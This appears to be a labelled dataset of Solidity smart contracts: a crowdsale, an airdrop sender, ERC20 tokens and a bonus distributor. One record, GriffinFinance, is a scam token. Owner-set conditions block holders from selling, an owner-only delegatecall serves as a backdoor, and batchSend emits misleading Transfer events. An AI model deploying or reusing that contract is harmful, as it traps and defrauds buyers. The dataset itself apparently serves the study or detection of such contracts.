} else if (block.number >= fundingStartBlock+50401 && block.number <= fundingStartBlock+75600) {
tokensPerEthPrice=1100;
} else if (block.number >= fundingStartBlock+75601 && block.number <= fundingStartBlock+100800) {
tokensPerEthPrice=1050;
} else if (block.number >= fundingStartBlock+100801 && block.number <= fundingEndBlock) {
tokensPerEthPrice=1000;
}
}
function () payable {
require(msg.data.length == 0);
BuyBSTtokens();
}
function BuyBSTtokens() payable {
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
uint256 rewardTransferAmount = 0;
setPrice();
amountRaisedInWei = safeAdd(amountRaisedInWei,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),10000000000000000);
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,100));
tokenReward.transfer(msg.sender, rewardTransferAmount);
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
}
function checkGoalReached() onlyOwner returns (bytes32 response) {
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Presale is setup";
return "Presale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (BST >= Hardcap)!";
return "Successful (BST >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
return "In progress (Eth >= Softcap)!";
}
setPrice();
}
function refund() {
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (fundValue[msg.sender] > 0));
uint256 ethRefund = fundValue[msg.sender];
balancesArray[msg.sender] = 0;
fundValue[msg.sender] = 0;
Burn(msg.sender, ethRefund);
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
} | 1 | 5,146 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
constructor () public {
owner = 0xCfBbef59AC2620271d8C8163a294A04f0b31Ef3f;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
function transfer(address _to, uint256 _value) public;
}
contract CaruTokenSender is Ownable {
function drop(TokenERC20 token, address[] to, uint256[] value) onlyOwner public {
for (uint256 i = 0; i < to.length; i++) {
token.transfer(to[i], value[i]);
}
}
} | 1 | 3,754 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GriffinFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,462 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != 0x0);
owner = newOwner;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract TokenERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint value);
function TokenERC20() public {
totalSupply = 160000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = 'LEXIT';
symbol = 'LXT';
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to].add(_value) > balanceOf[_to]);
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
}
contract LexitToken is Owned, TokenERC20 {
using SafeMath for uint;
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function LexitToken() TokenERC20() public {
sellPrice = 1000 * 10 ** uint256(decimals);
buyPrice = 1 * 10 ** uint256(decimals);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
require(newSellPrice > 0);
require(newBuyPrice > 0);
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value.div(buyPrice);
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(address(this).balance >= amount.mul(sellPrice));
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount.mul(sellPrice));
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract LxtBonusDistribution is Owned {
using SafeMath for uint;
LexitToken public LXT;
address public LXT_OWNER;
uint256 private constant decimalFactor = 10**uint256(18);
enum AllocationType { WHITE_LISTING, BOUNTY, AIRDROP, REFERRAL }
uint256 public constant INITIAL_SUPPLY = 2488000 * decimalFactor;
uint256 public AVAILABLE_TOTAL_SUPPLY = 2488000 * decimalFactor;
uint256 public AVAILABLE_WHITE_LISTING_SUPPLY = 50000 * decimalFactor;
uint256 public AVAILABLE_BOUNTY_SUPPLY = 1008000 * decimalFactor;
uint256 public AVAILABLE_REFERRAL_SUPPLY = 430000 * decimalFactor;
uint256 public AVAILABLE_AIRDROP_SUPPLY = 1000000 * decimalFactor;
uint256 public grandTotalClaimed = 0;
struct Allocation {
uint256 totalAllocated;
uint256 amountClaimed;
}
mapping(address => mapping(uint8 => Allocation)) public allocations;
mapping (address => bool) public admins;
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function LxtBonusDistribution(LexitToken _tokenContract, address _withdrawnWallet) public {
LXT = _tokenContract;
LXT_OWNER = _withdrawnWallet;
}
function updateLxtOwner(address _withdrawnWallet) public onlyOwnerOrAdmin {
LXT_OWNER = _withdrawnWallet;
}
function setAdmin(address _admin, bool _isAdmin) public onlyOwnerOrAdmin {
admins[_admin] = _isAdmin;
}
function setAllocation (address[] _recipients, uint256[] _amounts, AllocationType _bonusType) public onlyOwnerOrAdmin {
require(_recipients.length == _amounts.length);
require(_bonusType >= AllocationType.WHITE_LISTING && _bonusType <= AllocationType.REFERRAL);
for (uint256 i = 0; i < _recipients.length; i++) {
require(_recipients[i] != address(0));
}
for (uint256 addressIndex = 0; addressIndex < _recipients.length; addressIndex++) {
address recipient = _recipients[addressIndex];
uint256 amount = _amounts[addressIndex] * decimalFactor;
if (_bonusType == AllocationType.BOUNTY) {
AVAILABLE_BOUNTY_SUPPLY = AVAILABLE_BOUNTY_SUPPLY.sub(amount);
} else if (_bonusType == AllocationType.AIRDROP) {
AVAILABLE_AIRDROP_SUPPLY = AVAILABLE_AIRDROP_SUPPLY.sub(amount);
} else if (_bonusType == AllocationType.WHITE_LISTING) {
AVAILABLE_WHITE_LISTING_SUPPLY = AVAILABLE_WHITE_LISTING_SUPPLY.sub(amount);
} else if (_bonusType == AllocationType.REFERRAL) {
AVAILABLE_REFERRAL_SUPPLY = AVAILABLE_REFERRAL_SUPPLY.sub(amount);
}
uint256 newAmount = allocations[recipient][uint8(_bonusType)].totalAllocated.add(amount);
allocations[recipient][uint8(_bonusType)] = Allocation(newAmount, allocations[recipient][uint8(_bonusType)].amountClaimed);
AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.sub(amount);
}
}
function updateAllocation (address[] _recipients, uint256[] _amounts, uint256[] _claimedAmounts, AllocationType _bonusType) public onlyOwnerOrAdmin {
require(_recipients.length == _amounts.length);
require(_bonusType >= AllocationType.WHITE_LISTING && _bonusType <= AllocationType.REFERRAL);
for (uint256 i = 0; i < _recipients.length; i++) {
require(_recipients[i] != address(0));
}
for (uint256 addressIndex = 0; addressIndex < _recipients.length; addressIndex++) {
address recipient = _recipients[addressIndex];
uint256 amount = _amounts[addressIndex] * decimalFactor;
uint256 difference = amount.sub(allocations[recipient][uint8(_bonusType)].totalAllocated);
if (_bonusType == AllocationType.BOUNTY) {
AVAILABLE_BOUNTY_SUPPLY = AVAILABLE_BOUNTY_SUPPLY.add(difference);
} else if (_bonusType == AllocationType.AIRDROP) {
AVAILABLE_AIRDROP_SUPPLY = AVAILABLE_AIRDROP_SUPPLY.add(difference);
} else if (_bonusType == AllocationType.WHITE_LISTING) {
AVAILABLE_WHITE_LISTING_SUPPLY = AVAILABLE_WHITE_LISTING_SUPPLY.add(difference);
} else if (_bonusType == AllocationType.REFERRAL) {
AVAILABLE_REFERRAL_SUPPLY = AVAILABLE_REFERRAL_SUPPLY.add(difference);
}
allocations[recipient][uint8(_bonusType)] = Allocation(amount, _claimedAmounts[addressIndex]);
AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.add(difference);
}
}
function transferTokens (address[] _recipients, AllocationType _bonusType) public onlyOwnerOrAdmin {
for (uint256 i = 0; i < _recipients.length; i++) {
require(_recipients[i] != address(0));
require(allocations[_recipients[i]][uint8(_bonusType)].amountClaimed < allocations[_recipients[i]][uint8(_bonusType)].totalAllocated);
}
for (uint256 addressIndex = 0; addressIndex < _recipients.length; addressIndex++) {
address recipient = _recipients[addressIndex];
Allocation storage allocation = allocations[recipient][uint8(_bonusType)];
if (allocation.totalAllocated > 0) {
uint256 amount = allocation.totalAllocated.sub(allocation.amountClaimed);
require(LXT.transferFrom(LXT_OWNER, recipient, amount));
allocation.amountClaimed = allocation.amountClaimed.add(amount);
grandTotalClaimed = grandTotalClaimed.add(amount);
}
}
}
function grandTotalAllocated() public view returns (uint256) {
return INITIAL_SUPPLY - AVAILABLE_TOTAL_SUPPLY;
}
} | 1 | 3,040 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 6;
uint8 public constant TOKEN_DECIMALS_UINT8 = 6;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
